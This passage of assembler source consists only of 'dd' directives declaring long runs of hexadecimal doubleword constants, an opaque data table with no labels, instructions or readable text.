86A39286h, 87C1D535h, 0A9C0056Bh dd 611325B2h, 293A5DCBh, 501E9A78h, 8923F440h, 0DA94BBD4h dd 84D25F6h, 471685C8h, 94D21DF3h, 12B58236h, 0F509AEC4h dd 2D87C87h, 77DC4836h, 0DD18B89Ah, 819D5BDFh, 0BC52E91Ah dd 56098054h, 98037281h, 92A0B019h, 805078Ah, 5B50F463h dd 0D7A850D6h, 160FC940h, 20ACDE84h, 0E468288Ch, 61DB6A62h dd 0A7800755h, 5DF43139h, 8203D9C0h, 1FE9AF0Ch, 951AFFFBh dd 0B16E1685h, 95463BB6h, 0D4C35879h, 0CF42EB10h, 4B64F84h dd 0EFB84368h, 5DAEB0D3h, 0B5C7D90h, 9160C5Ch, 4028E0D5h dd 0A109BD3Bh, 8BDFAAB5h, 899DC5A3h, 4EE6E821h, 70FB23B5h dd 877719DBh, 542F8B7Ah, 5969818Ch, 0DF003C9Dh, 8BF0D7D7h dd 0A0C32580h, 82EB5552h, 91689910h, 9210793Eh, 7E99B15Eh dd 5C249FCFh, 4F43830Fh, 32227C10h, 0F7BA95ECh, 949DACC4h dd 89C0B52Ch, 4EB51C60h, 0BBD04A3h, 856DC305h, 6679C1E1h dd 4B9EBA31h, 810F6F1h, 0F94CBD68h, 0D94F5F41h, 1E36CA07h dd 0AD0ED25Bh, 0AB257C8Ch, 891AD36Eh, 21D19628h, 3471B000h dd 7EB353FAh, 2CD84E68h, 8B97C082h, 92E859C3h, 0EF52AEEEh dd 627DA9B8h, 21038FC0h, 0B4D6985Fh, 0CAC89739h, 1299CB94h dd 0FF29D513h, 0C3119E51h, 7804AB04h, 0C9D53668h, 20D801BDh dd 0EB52A6E9h, 528E25FAh, 0BFE5F819h, 1B14A189h, 0CC976892h dd 23E91249h, 1429ABAFh, 2E11392Bh, 0D0DCA844h, 64E00113h dd 601A1102h, 79093C79h, 8F315F20h, 0E8013309h, 7F9F069Dh dd 50752DFCh, 31C3EB95h, 89242958h, 4FC128FBh, 90907D4Fh dd 0D05E305Ch, 5658686Dh, 4A8518B5h, 0C195C859h, 2A1A008h dd 4F656851h, 0CCBF7466h, 0E66C6440h, 5E14B75Dh, 2CE9ED38h dd 873D4C15h, 0DBD3B08Dh, 4460CFF9h, 9872DF20h, 0C1E288BAh dd 52023CE7h, 813A1CACh, 0F304312Ch, 68804328h, 0EC7469E2h dd 0B2C2A264h, 654107D4h, 2CCD53F7h, 0B50A51A7h, 82E828EAh dd 843BD81Fh, 0FF68142Ch, 0D0E971D1h, 5B2F983Ch, 5384F051h dd 9A8C0168h, 0BFB440EDh, 0E536E60Bh, 12A75C07h, 7A65B192h dd 0C87F4B69h, 53922A34h, 52690C99h, 8380A03Ah, 0BC93B7A0h dd 0C8F691C2h, 59CE2800h, 9C53E680h, 0B0D3C799h, 0C628E3EEh dd 0FCADCBEBh, 9B46DB6Eh, 51AAD1DDh, 78235640h, 1C4A17h dd 5BB75D36h, 1CD0DE29h, 141C6808h, 4DF3310Eh, 7E3008DEh dd 24FF8803h, 0C3618713h, 9409DBD1h, 48BE5600h, 0CFB04A3Ah dd 17EA7CA4h, 5756353h, 350D3F55h, 9228F987h, 1A99A308h dd 15FA48ADh, 6C1F2D00h, 0F0297236h, 0C207A205h, 6152DE93h dd 0FC01419Ah, 594FC829h, 41BD29F0h, 900C300Eh, 0F2A23D5Bh dd 498DEF81h, 0A6E070F7h, 89234663h, 5DEA91C5h, 20D49697h dd 2E6F61A2h, 40EE3548h, 6B4C3EB2h, 7B012FEBh, 6D4C405Eh dd 0E92F6B79h, 858BC2A1h, 122011C2h, 1747783Eh, 0A4D6F733h dd 0BD678B82h, 2FC1EE79h, 4CEC0566h, 0F916D6D3h, 9628A110h dd 91B25402h, 556856B0h, 7B25A9B6h, 63C9A820h, 0B7B4F1C3h dd 5A941025h, 0B7C59F7Ah, 0E5162C90h, 0B1C31257h, 5A3D2E8Fh dd 4A9D4C90h, 95027CE0h, 664BD14Ch, 4FE04A88h, 9729A92h dd 0FE5AD121h, 54570BDBh, 0EB3C5882h, 68505490h, 0BC91EF5Ah dd 0D206A859h, 0E6F4F2FBh, 43FF2D45h, 760C6823h, 98E73110h dd 0BCFA8916h, 215F0BEBh, 0F7FC87EFh, 297C5631h, 25D803Ah dd 575C4D95h, 9F52770h, 0E23D7B64h, 2FD41DE9h, 933DE223h dd 0A4E7BC88h, 0E9F58917h, 21B2167Bh, 0B5F749D8h, 0B90CE900h dd 80F25434h, 1CB3B45Ah, 17F79473h, 68DCA05Bh, 96ED3E7Ch dd 97E12D10h, 5D77F02Ah, 0E5506297h, 992B1AAAh, 94933E5Dh dd 0A45B8C3Dh, 548234DFh, 0C8854244h, 91EFF182h, 0FCCB8709h dd 0DDA0599Ah, 14706E00h, 548580Dh, 0EB8F1295h, 3663F1F2h dd 0AFE93F45h, 0B8306B49h, 5A060B97h, 2C35D22h, 0F353771Eh dd 3AF0DA43h, 809776C5h, 81CB29B2h, 8B0BA0EBh, 5905BC0Ch dd 0B90CA183h, 291D82Dh, 0E9398A6Bh, 68071385h, 2109E90Bh dd 0F2ACC171h, 5451589Bh, 203F4CB5h, 55761491h, 3BFA25EBh dd 405628C2h, 80B9B257h, 0C8E0D504h, 0DDBE2C74h, 0E1C05B13h dd 73C280EBh, 27EA7ED6h, 0BE52F6E9h, 0E155309h, 0CB41F0CCh dd 8A01E3BAh, 0A0EB0111h, 759008FCh, 0A02B2527h, 0D5BD7B9Bh dd 64C1B740h, 0A9076A94h, 1F75CE31h, 7ACA5AE4h, 16A13BAAh dd 58AFF207h, 660CFC9Eh, 5BC1421Fh, 76F0D1D2h, 0EBC083C6h dd 0E395D3F7h, 8F8238BCh, 0E9139A48h, 0A29CC50Bh, 0E48C9F55h dd 5A681CF6h, 5ECE44BAh, 8430EC54h, 0E912176Eh, 0A40974B5h dd 863DDD28h, 0BDB59DFFh, 0EB7E0144h, 7EC7C7C9h, 6FE0A5D7h dd 8980DB1Ch, 7A5173C3h, 0D0C22CD9h, 7AA24071h, 64C17036h dd 22D15D27h, 0AE7AC52Ah, 0FC0DCA76h, 1C9096B9h, 3F47043h dd 51415DCh, 2085DBF7h, 0A6D81308h, 5802ECE5h, 0A87F1640h dd 6483E837h, 2D460628h, 0D8CB72CCh, 68991961h, 0D96E4A9Eh dd 0F091A51Dh, 90382084h, 2248A96h, 6447A30Bh, 212864B3h dd 4705BA21h, 0ADBD0B3Eh, 0C4AD0223h, 24829D39h, 0CD72E796h dd 5181BCE0h, 4A3FCA2Fh, 0E9C4FFE2h, 8758B026h, 2E0F75Ah dd 1242B620h, 10E0F950h, 0B44B953Fh, 0D65A6847h, 502615B3h dd 15FE00AEh, 5EB83EDAh, 72C22C07h, 7C1B52E9h, 0A34ABFFDh dd 344B7EA8h, 455B4E0Bh, 9F983F11h, 0EDC11E8Fh, 6060767h dd 0A1BE31B2h, 7D4C41B8h, 0AC23C243h, 0BE761FFh, 0DA0101A4h dd 0E2930536h, 0E1279371h, 1317E444h, 97F4AC27h, 6FADBAB8h dd 0F568852Ch, 54868909h, 78115C5Bh, 4C971C33h, 9CE97A01h dd 27350B90h, 214042E8h, 0E59D42ACh, 25862009h, 0FE59AD82h dd 0C901CE82h, 316A5D2Eh, 7A944EA9h, 2A2628B0h, 0F3921AF9h dd 1DEFC108h, 744C7988h, 0A77E8924h, 0B9E4AF22h, 2EE090Eh dd 2118F62h, 0B3DDC588h, 876CC8F0h, 3A595201h, 8EA5E90Dh dd 4872F42h, 0F7F41191h, 68152014h, 6D9170E4h, 0E1BAAEB1h dd 5121323Ah, 62F8D30Bh, 617AEA68h, 5AC8520h, 4F836A2Dh dd 0E4D1168Fh, 702FE983h, 493E1AE7h, 9F5530Ah, 0A71B1E6Bh dd 0A95A6459h, 0AB045732h, 0B8AAD0D9h, 553D68EAh, 1C6C1369h dd 2FCA43BCh, 510580BBh, 2936924Fh, 72DD028h, 6A685A0Bh dd 4FA5461Bh, 11C39144h, 1CC339C8h, 18FD2869h, 0EB9D4865h dd 8B1625DAh, 0B00939F4h, 0FA79F2A5h, 1A052623h, 85FB14C9h dd 822A0841h, 0E32F02CCh, 4FF2E9CBh, 0EBA3A553h, 40AD1127h dd 3E335BD8h, 77AF759Ah, 58B93F82h, 9A006042h, 864146BAh dd 99E91809h, 6ED056CAh, 0FA3F3454h, 0EE7904B5h, 723F348h dd 0F5F88850h, 0AFB3D5C9h, 49F7CB40h, 97578F97h, 0E918BDD2h dd 4F24FCBDh, 0BB7D53h, 816AF170h, 0F07450CBh, 720C6B60h dd 0C260F45Dh, 8044C8EAh, 6F493D69h, 0C603F7CAh, 67CC0172h dd 0EEF2FE9Bh, 170C088Ch dd 0B7A4616h, 0D9BCF394h, 0AF0624A4h, 32260ED1h, 6B813D2Eh dd 5300208Fh, 7347EC68h, 0E5BC5B7Eh, 0C384602Dh, 0CE690B01h dd 95D4890Fh, 3C226D08h, 0ACF88489h, 472F0871h, 4F2CAA47h dd 0B66B16F8h, 2F754CD5h, 1557F337h, 0F14ACEA2h, 308A7F73h dd 935AAE4Ch, 1EE414F6h, 0A3B53C97h, 0ED2CF001h, 3E3F2D2Ah dd 25E9CEDCh, 4D5B8D55h, 565BBA0Bh, 0F7E9627Dh, 0E64DA05Fh dd 7BDC2E88h, 80534B29h, 0C028B476h, 0FE07EC0Ch, 328004CCh dd 0F306DEF4h, 104D0A57h, 0CD292C30h, 33509759h, 0F3273AB6h dd 56A5BE27h, 14D20A89h, 54828A81h, 7690A385h, 138A4C4Ah dd 6B14582Dh, 0F94C2E25h, 0CF169C50h, 1EAA1FF1h, 0D7B1879Bh dd 0B35AA128h, 59CBD4CDh, 4CECE49Dh, 0C720D850h, 0A4C9093Eh dd 0F69398FDh, 5FE6DDB4h, 6FA59D8Bh, 4BA2F534h, 3148E90Dh dd 591720CFh, 0AB490A7Ah, 0B6B14AFCh, 0DD06E6CCh, 4F27BF06h dd 40BBEE07h, 297F7472h, 0CBC2D85Bh, 0A00A8E05h, 0C7104F8h dd 5C69F75Dh, 43B57062h, 919E6482h, 0A735E20Ah, 31CF00AEh dd 0E95A5B33h, 8CF48C5Ah, 63C80CE3h, 0B5A81A5Ch, 0D7B3730h dd 940B7D8h, 5BD90983h, 5CA79BD6h, 0F0BA01DCh, 3A6FA7CFh dd 0FA01288Dh, 0C407B571h, 0ABEFC5F2h, 0FC5EC649h, 8C4714Eh dd 0C5E95EF7h, 0F830BE77h, 306E95BBh, 747619F1h, 474A4A50h dd 0A6606EFCh, 2B20776Bh, 4E01E490h, 1587959h, 70FAE9D9h dd 40BF38D1h, 8100B83Fh, 22EECEEFh, 0F907293Dh, 8956505Fh dd 0A0AF58A9h, 9A595800h, 7C820A7h, 35BF5702h, 5D5B2B2Ah dd 9C99DC22h, 0F6F0A6C6h, 99B1EA49h, 5E6DE656h, 25E9EE82h dd 0FC88CFE8h, 4F90E6E4h, 2CD4D68Ah, 6059D88h, 61E8895Fh dd 1A5F5D7Ch, 85B82100h, 6B4C740Dh, 0AB70B431h, 5BD57813h dd 344FC805h, 0F9D104BEh, 41A89D20h, 3CC446F4h, 22D18071h dd 4B01303Eh, 0EA3C46F8h, 0D803B336h, 672D3705h, 346B9831h dd 7206605Bh, 45C443F0h, 0DE924C4h, 3952E5A0h, 0F41DFE88h dd 58E5495Ah, 512D2B45h, 52C833Bh, 4BF7E828h, 660E4596h dd 1735B652h, 3494AF04h, 8AD24EF8h, 0E8A910C1h, 0C293B45Bh dd 0E211DE64h, 1FF82CAFh, 72A6215Ah, 1D13BD18h, 0EDBACEE4h dd 6368CB6Eh, 95D654B0h, 2CACBCC0h, 729098EBh, 31F68120h dd 0CD46CD86h, 0B89245C6h, 81DC2956h, 792FE69h, 57E7281Fh dd 586650C7h, 0E92DCFFEh, 0B66CE183h, 1B79082Ah, 8A19FE25h dd 53A24320h, 2B5F4BDAh, 89A131EEh, 0B186D3DAh, 30D4B78Ah dd 0FE40BB12h, 7A92D68h, 474A4B79h, 5B028589h, 685BC03Ah dd 0CDBF6658h, 4B831088h, 0B55C3B28h, 6A598CB1h, 0F930ED45h dd 1166C481h, 19C1036Ch, 0F564AA1Fh, 20725CEh, 1142A6BAh dd 0E7C18A32h, 0EB069213h, 77D6A7A5h, 24BEF16h, 0E24AA88Ah dd 13B00248h, 0C60E39E9h, 5E03F0DFh, 3FED9DBAh, 51B8B480h dd 2FE9185Ch, 3BBD2293h, 8E5B6E38h, 2B08CD81h, 227549Ah dd 7B0D37FAh, 4BB382E0h, 0C264030h, 5AA85A42h, 21ADC2B0h dd 0F25E0355h, 9677833h, 48A732DFh, 0E2227809h, 0B1D5E589h dd 1635F74Dh, 8D91063Eh, 0F20B3F18h, 800F7AD2h, 6BC0EAE9h dd 0E67798D1h, 12EE9D5Ah, 62E529F3h, 0C892E909h, 2782B469h dd 7B78E320h, 0D02F98BCh, 6C080FECh, 1297390Bh, 48B98F89h dd 3E02859Ah, 0EBC824BEh, 16296A29h, 0DD4F98D6h, 4D1680B7h dd 16F0C581h, 0C4F7CCFCh, 68B14381h, 0F6F8570Fh, 0E0503CCFh dd 4A0BC6B7h, 5358F02h, 4FDDFE36h, 0BB2E7CE8h, 3FDD082Bh dd 5281BE00h, 0A04E5D41h, 306FBCD4h, 115E7C94h, 80E54922h dd 0CC077E0Ch, 0BD12E968h, 5B2D5A80h, 21F2CD71h, 4497609Dh dd 0BEF8B91Ch, 0ACE4522Eh, 0FBD8B949h, 0EF5A9074h, 97CE25FCh dd 56975A51h, 0EF003DFDh, 1D38EBDEh, 5F26F821h, 3709C6F7h dd 5C1AE289h, 39D959D3h, 12EA8428h, 428CDDAFh, 9FF69119h dd 0D977E349h, 5E021B38h, 278F1BD7h, 42825D32h, 0B4F855E9h dd 0F61FB10Dh, 0C76004D1h, 0D6D9EED0h, 64CB0204h, 0F9E1CB88h dd 2EA72E4Bh, 5DF72915h, 0BA3C87C4h, 0F71F0A9Ch, 14B3286Eh dd 1FBD1089h, 5E5CE35Eh, 5569948Ah, 0D52019EEh, 0DBF70FB0h dd 0F325E3D1h, 7941F42Ch, 5A972E5Fh, 52CD49D2h, 25290E0Bh dd 0FB89E533h, 94A84EF9h, 334C30B5h, 645C8006h, 0E19F3898h dd 0CA34B3F8h, 0CC085F77h, 1D174CE8h, 29016672h, 1AEB69C9h dd 5689723Ch, 0C633DF05h, 0D62D62BEh, 0FF55065Ah, 0A95B9D67h dd 5070B66Ah, 6B0245B8h, 4EE959C8h, 889818A2h, 751F4FDBh dd 6C926846h, 0B6C95AE8h, 0BEEFBC0Fh, 9F41880h, 0F296FE31h dd 0C231D3ADh, 0DC7B11D5h, 0F50C579Fh, 95210C40h, 36E7F602h dd 1DD95904h, 97D80BF0h, 4EDA8EBBh, 0FE2951E9h, 5A12460h dd 0F75C330Fh, 2118E9D9h, 356859AAh, 0EB2EE57h, 7CA3699Fh dd 0E51BEB29h, 864B1585h, 169AC3E4h, 0E43EFA62h, 434FC0D2h dd 64525222h, 85B27h, 66C3FEE9h, 7B4B4168h, 8350814Bh dd 4E2BE917h, 9E2C50D9h, 0C4C5818h, 0C60F7B52h, 5233FF54h dd 68A087ECh, 0C6B53F9Eh, 87CA2F89h, 396B46Eh, 1345A443h dd 8B38ECEDh, 5A0853DEh, 2439CBE0h, 368B2485h, 9B04FC04h dd 89FEB320h, 0DBE1C2BCh, 0C28000D6h, 4A9BF085h, 5A9D23C9h dd 0A7F89CC9h, 19DC4610h, 43669968h, 324FA423h, 8B4D020Bh dd 0C7F6C884h, 33762422h, 24E82611h, 0A9D26495h, 1D415D5h dd 0CBD69E6Eh, 564994D1h, 947158Ch, 8E3AC12Bh, 6A212952h dd 393AC43h, 6E4EEA81h, 0E2B06413h, 871D52B6h, 79CC142h dd 2403B1FFh, 6B202B1Ch, 7DCA9001h, 2612954Eh, 2839DD81h dd 31CB70F3h, 0C9A5365Ch, 3F750254h, 4F59F1EEh, 0AFDEBD8Bh dd 3062572Ch, 582D4020h, 0F0F37580h, 0CB7B1D8h, 0C1B5E6EAh dd 1A4FAE12h, 0FE7321E8h, 16F0552h, 0A85159C8h, 1DCCB0E5h dd 425740C4h, 0EDD5AEB7h, 0E3018184h, 0BF048CA4h, 0B747EF61h dd 0B4B1692h, 0AB5853BBh, 0AB03294Ah, 0D321D6C3h, 530C4F1Ah dd 2D55ECB6h, 0E4FE0B3Dh, 1D391694h, 0FAAE0B4Ah, 4F9F7FF8h dd 0EB52AFBDh, 5006790h, 566A0618h, 91DBA7E9h, 6A7A2D20h dd 4B036812h, 52007AE3h, 0C170E07Ch, 449005E6h, 0BDF3314Fh dd 3F3DF610h, 4732165Bh, 62521EE4h, 0D3F78469h, 85629140h dd 216F9916h, 4A3C2F82h, 0DB0DD00h, 42C92F14h, 43CD545Dh dd 2A278A19h, 51EF5458h, 379C3B80h, 0F8274114h, 0E1C39B26h dd 0CB34B6EEh, 78C8DA1Ch, 9BCFBD5Fh, 6035E909h, 1455BE28h dd 8132BA74h, 0FBC00425h, 9483CCAAh, 435A5BC2h, 64FDE070h dd 958EFEC2h, 0CB096329h, 182DC8DBh, 4B54E98Ch, 53662234h dd 8C16B861h, 0AB83321Dh, 56A938EBh, 1A5220A6h, 0CA965DA6h dd 2582E6B5h, 5A9E0A79h, 4BA55F57h, 94B59BA0h, 255E25B0h dd 0E59F992Ah, 0E9558492h, 5E2AFCCDh, 0CAF529C2h, 64FCDE57h dd 0CE3DC810h, 0CCEC824Bh, 85CC16CAh, 0F801ED80h, 20483885h dd 0B75300D5h, 5BFD3082h, 8072C5FEh, 0EC04AF16h, 2717F517h dd 6F681090h, 6DE6BD3Bh, 9CB78B74h, 0EF67A885h, 0ECE097Ch dd 215E9AE9h, 53F51925h, 0B4C8A2Fh, 94852EE9h, 0B273E5B1h dd 0C5E15E37h, 547A0821h, 530C79A5h, 0E4B6080Fh, 4E2A49E9h dd 944892F1h, 0DB8B47CFh, 790619Ch, 0C32900FDh, 6063F058h dd 0F7F37720h, 7F4EC732h, 453E4AF1h, 35437AD1h, 0D724AEDBh dd 1F2C8275h, 0CE309D5Bh dd 91225C3h, 57E576D8h, 615D0802h, 986E4A9Bh, 0A11C3E8Eh dd 0C2010533h, 0C301CC5Eh, 518BCE21h, 0B061E4C0h, 86066A80h dd 1B06BFC4h, 0DCE18877h, 27D7E292h, 0CA199BAFh, 226977FCh dd 1E9C22F4h, 2F563B59h, 0A25B2104h, 0CB5CBA00h, 59970B34h dd 3A973FD7h, 1085A6B3h, 0FE003FBBh, 80D2F6CAh, 0C02521F2h dd 0E9ED0E2h, 0D188512Bh, 5AE40153h, 7028E02Ch, 7B03B1ADh dd 0E9C0C9FEh, 1EC1AB06h, 9480070Ah, 2F27F546h, 0DCC9F77Ch dd 0E8275080h, 0F6EBCE9Dh, 81D5492Dh, 8D1864C5h, 41E02A53h dd 25010270h, 2BB7E963h, 1F89662Ah, 2F3F7107h, 32513409h dd 2542A8E8h, 5ABF008Ch, 700B986Ah, 256D7F7h, 7626010Eh dd 0BEDC2588h, 5004E90Bh, 31AD0237h, 19BC68D8h, 1B8B5F79h dd 0E9188257h, 185250C6h, 0F74B8868h, 0CB91FC03h, 2CBF654Fh dd 1A5EFA8h, 31088094h, 590600Ch, 1342B9E7h, 3947CF18h dd 0B3A25DEFh, 81B800B7h, 5804AB1Eh, 5568D0F7h, 801435ABh dd 45786B42h, 0D7BD7300h, 31F8BE3Fh, 845A5AD5h, 70950F67h dd 0EB33E524h, 4088150h, 47D96858h, 51173CA3h, 0C8723480h dd 0F1366C9h, 4DAAC8AFh, 31273EEBh, 0F0B5309Bh, 60A8284Ah dd 4188BD4Bh, 720CA70Bh, 0EC884A12h, 0B0CE442Eh, 0D8F61A02h dd 5CC0C8FEh, 92B808D9h, 3880C025h, 29321EB2h, 8503FF1h dd 0C5C09F87h, 531758EEh, 6BA0C65Dh, 8579B62Dh, 0A9F57BE9h dd 0BCD415FBh, 2B2051ADh, 0AED2F5F6h, 77209C29h, 427994D3h dd 0F724AAFAh, 0C790D0ABh, 0EE278B25h, 5DDB820Bh, 3C490F37h dd 12BDBED5h, 8A1039E9h, 7F8E1772h, 4251EAD7h, 5B607EABh dd 18866922h, 875BB223h, 6866A727h, 0BFA8427Eh, 68858945h dd 3D405BEAh, 212E85BDh, 0F5813946h, 0B8000D6Bh, 7EAD1D52h dd 25073890h, 3EA4780Dh, 222DD871h, 0EA0415E0h, 1C9013C4h dd 479CB180h, 0E77241ADh, 5EF1E455h, 0DBA2E9F8h, 0D0C0B0Ch dd 7BCE0212h, 0F65EE9FCh, 49076AECh, 0FC6A530Bh, 0E9A7C4FDh dd 55C11EA8h, 0E95ED9CFh, 0A777D9CDh, 232ECDF0h, 0FC09991Dh dd 70B056C9h, 4C7AFE52h, 5BE80150h, 0C35BD360h, 9895418Bh dd 83FFB244h, 0B91C4B08h, 3118606Bh, 0B404025Bh, 0A8CA3ABDh dd 4D9A6A2h, 0E2E9F9F6h, 878BEF29h, 7BB7ED18h, 40725DCDh dd 3BB02A5Eh, 0C11D4009h, 7408E530h, 361202C5h, 34156278h dd 7052320Ah, 360EDF4Ah, 0F0CAC953h, 3A6820E4h, 5825059h dd 46070BC6h, 74142F8h, 8B1AC6Ch, 0B95BB88h, 51C6399h dd 0F1E2CB90h, 50606883h, 0D03F3710h, 8DE2917h, 0FA25EBB3h dd 604FB120h, 491ECE68h, 0BE5A0D0Ch, 95310DCFh, 0E9F098C0h dd 0F31DD02Ch, 43824045h, 0E19A777Eh, 0CDA09276h, 0CE4D1E03h dd 8BB3530Bh, 0F152CAFEh, 708A499Eh, 223C0925h, 0D76AEDF4h dd 8FB1DD19h, 614276EAh, 55671D68h, 3AECE95Ch, 0DE34CE53h dd 21B4DDEEh, 7FDD1DFh, 767DA952h, 0B3062B5h, 25D66E5Dh dd 40D9204Fh, 0F2ED9D4Fh, 47BA1DDCh, 0EAC10773h, 0D2838B07h dd 31E94F41h, 55296ED7h, 5FA3916Ah, 0A30B8C55h, 3FF33818h dd 0C65E2279h, 0C704121Fh, 29E968A0h, 960039F1h, 9DCA88CFh dd 0BF205E96h, 0C5FE00DAh, 8006E5C0h, 0F5E60ECDh, 0EB28BB06h dd 0B731F3E9h, 9C8EB741h, 4A3EB306h, 0D7665DA4h, 8E6DC1B5h dd 4BCB3AAEh, 97B15F7Dh, 5CB9D0C5h, 23C0243Fh, 0E97D171Dh dd 27B29CDDh, 5F965F4Fh, 0DC05B50Fh, 560DA3C3h, 0E245C7CEh dd 0E0A1E0ECh, 0DE147DF1h, 0C5A18CD7h, 0BA2A0D2Fh, 0F97B31B5h dd 0BFE334E8h, 0FB76250Ah, 0A417A83Dh, 9F3117B6h, 7030ACCFh dd 1843F134h, 9E02064h, 27B6395Bh, 3C47133Fh, 8330E961h dd 16EBF92Dh, 7E782815h, 196401F5h, 0D889FA34h, 4490605Bh dd 596AA024h, 0D9DEFB02h, 2EE6C366h, 0A4AE5877h, 5BAD05E6h dd 0EEDF8103h, 6874C02Eh, 0F84B509Dh, 0E9BF138Fh, 12AAF992h dd 513A0C5h, 0D69DE004h, 39B44418h, 0C1348F03h, 3F4606E6h dd 9292574Ch, 56E091Bh, 0D1A74651h, 0E0D34283h, 0A20EC57h dd 34CB5F73h, 8CF30790h, 6C186FA0h, 0B61248BDh, 70A92916h dd 0D8093E05h, 7332F832h, 0C001FB6h, 0E9365225h, 1343BE90h dd 0C71532B8h, 5929B155h, 1B2B8835h, 0B40006E8h, 2D287427h dd 62EC666Eh, 14681B3Dh, 0BF4F47D2h, 0ABA53CC5h, 52205F6Eh dd 5F2083FEh, 3B95C9B1h, 0B04BEDB7h, 880D2D0Eh, 7567F039h dd 0A9D20705h, 0BD505030h, 7B78B002h, 68D616FFh, 2F7196Ch dd 0F992D2A5h, 0A9C0C25Dh, 605C3AFEh, 95E3821Dh, 0F7969279h dd 0B096F085h, 1A500F30h, 1BCB0514h, 0A2EF5190h, 767D1613h dd 71782601h, 0CB434B9Ch, 35F5801h, 65889A72h, 0BB529721h dd 80045200h, 3BC0BCCBh, 0EB0302E3h, 0D8885072h, 5B2DC195h dd 0B8123051h, 3CAAB053h, 0D5AC9855h, 0B75EF29Fh, 9A955B9Eh dd 87D860EBh, 2F752447h, 444A0507h, 17F7B80Bh, 2A814906h dd 0AF14F6A0h, 77FEB792h, 0ABB00540h, 2DD9C695h, 0B8733E3Ah dd 277DD208h, 1AA4860h, 4D801495h, 31195949h, 2B1044C8h dd 0E7DFF58Ch, 0D7B1875h, 0F445A846h, 0F9822556h, 0BF5492F7h dd 0E9588D01h, 47481EB6h, 494C2768h, 0BD0857F3h, 665805C3h dd 3CC00A52h, 0E5071CBDh, 280DC3DEh, 243A23DCh, 3B3B89CCh dd 691EE2E0h, 0DF5234h, 790603E2h, 77EAEC3Ch, 26097DFEh dd 0A58F66E9h, 86043489h, 0C4BBBCD6h, 8907E160h, 399BF2D1h dd 0D9FEBBF5h, 0A32F7F2Fh, 2F74489Fh, 42C2F132h, 1C4F2BAh dd 3905B113h, 0F6D11113h, 66053B35h, 1B254C0Dh, 4BDADABBh dd 1AA3ACE0h, 0D5147CA8h, 4D2E9D95h, 942FD020h, 6BA4D162h dd 5917DB00h, 1760A4Dh, 8A2EDF0h, 89AFBEC5h, 0D1845E72h dd 0C43A6C5Dh, 0DAF03CD2h, 0C179407Ah, 0C0B541B0h, 865EBDDAh dd 0F0C0E926h, 3F213395h, 8A594420h, 0AD51ED7Dh, 0C7C28D42h dd 478FA583h, 0D701ECE5h, 36460ECh, 0DA82FA5Fh, 0C2727E52h dd 54E53231h, 0C2ADE98Bh, 3F91B19Ch, 0B25B316Ch, 572CC974h dd 8249AC33h, 2E4A2E1Ch, 870F9648h, 647849E9h, 4EC8F0FDh dd 3E5B40D2h, 0BF33A87Ch, 0AF32C93Bh, 819FE078h, 0E6CD3EF7h dd 92FAF325h, 4CA22920h, 0F6390808h, 49C7809Fh, 546FE30h dd 9A97F0F0h, 69A6167h, 860C376Eh, 52EC83FDh, 0DC9B8997h dd 24B45B58h, 0B604B6B8h, 808C609Eh, 322BE27Dh, 48E3164Ch dd 5B0840BFh, 0B44EE5BDh, 0CDD4BB14h, 271ECA80h, 0F6F0E305h dd 675318E7h, 57660C3Eh, 586CDE2Dh, 7CCCFF85h, 0EFB00083h dd 1EB1B850h, 50108A4h, 19F25ADCh, 9724CCE9h, 11BCAA59h dd 541230BBh, 0C6E780FFh, 0FA68800Bh, 280FBC41h, 30442D18h dd 6652D711h, 0EA587A47h, 51052596h, 15163C8Ah, 499E21ABh dd 0C2800089h, 80E2904Eh, 98FACDCAh, 0DFDE5CE0h, 6BCE09A1h dd 18C6992Ch, 0DE90345h, 624C613Ah, 0A78C1AF5h, 0B78941DDh dd 83763643h, 0AEEAABCAh, 8EE9B71Ch, 0CA302B87h, 275375B2h dd 0A776F7B7h, 2216A5BFh, 55181CEBh, 2809F2E5h, 0C4467CB0h dd 0D4872319h, 87F50105h, 0E3698126h, 3203F421h, 823DA0BFh dd 973BC636h, 17768522h, 0BC644276h, 0E22BAEF1h, 6B9D7B8h dd 69E23C4h, 9725657h, 394A73BBh, 2A228D80h, 5A95232Fh dd 0BA1769Bh, 9E96DBFh, 58544C90h, 1F526817h, 3B01658Dh dd 0D5F8BC05h, 72DB864h, 9B685551h, 0AF1CA413h, 7EDA7F00h dd 2DF71785h, 176045DDh dd 8F275340h, 0A6AD4089h, 0B85DD72Dh, 7DB404CAh, 574245E8h dd 0C05D9861h, 4608D6Dh, 9DE91E8Eh, 0CFB901AAh, 0BF68CB2Eh dd 0F107BC48h, 0C8BA418h, 3E12B26Ch, 50BB0EFAh, 5928089Fh dd 0EC0C20FAh, 88D4F609h, 178375E2h, 5D05966Ah, 124324B4h dd 0D61D1D80h, 0A9F450ACh, 6BD6B6F7h, 1E509DD4h, 63E69AB1h dd 0F1E294EAh, 0BB8F66D2h, 0C68AE836h, 2035140Eh, 8980996Dh dd 5E81070Bh, 125ACE6Eh, 0B4B6BFh, 0CE7B8376h, 81409E4Fh dd 0DCE2A51h, 0AAF35101h, 0DAF80804h, 5CC35860h, 90169718h dd 358113E9h, 3330EF01h, 0D2723793h, 7D5469BAh, 0CBE856A5h dd 91BC99E8h, 0E9D8DA96h, 1469C0Ah, 51CF02Dh, 0D5287F58h dd 0D680550h, 41DAE0Eh, 13F3D9C1h, 50015F0Dh, 70484A32h dd 8EB26301h, 807BE9A6h, 80BF5741h, 90195D78h, 60F40AA0h dd 29F34B3h, 1B666F1Ch, 10034043h, 785872C0h, 11808C4Dh dd 0B3EA2ADh, 5DEF2928h, 53EB8B80h, 10906B2Fh, 0DFFC154Bh dd 84E4578Bh, 6B12D3BEh, 2BBD9E0h, 19CA3914h, 6DC2DA29h dd 1AB53750h, 0D954292h, 0A32E4006h, 42A19DA0h, 6C7FF801h dd 2D6320F6h, 0DE9B2290h, 0E9843D2Ch, 56B9BEF6h, 7087B540h dd 0A1494E3Fh, 590702F5h, 310AE955h, 0ED580178h, 1185A2Ch dd 834516Ah, 0BF88E601h, 0FE0C3308h, 5A690BD8h, 421E6B5h dd 0E9E1F766h, 5FD9D2DFh, 557C855Fh, 0E4EDCE0Eh, 0E3BC65ACh dd 13E313C4h, 88DF64BFh, 0F84A9B5Bh, 4C80BF4Eh, 9FD30665h dd 0B353B218h, 0DD88740Fh, 12C5E05Bh, 25E9D5F6h, 7171F794h dd 7F17A1A4h, 0D9F497B1h, 0D3D1E587h, 13ED08A8h, 4B76167h dd 1D1B20EEh, 1645CD94h, 0A3ECED9Eh, 2B94BD81h, 0EFF0C672h dd 16F8014Fh, 1ECFE9B0h, 2D680AC3h, 4D151062h, 30BE510Bh dd 2C7B93C3h, 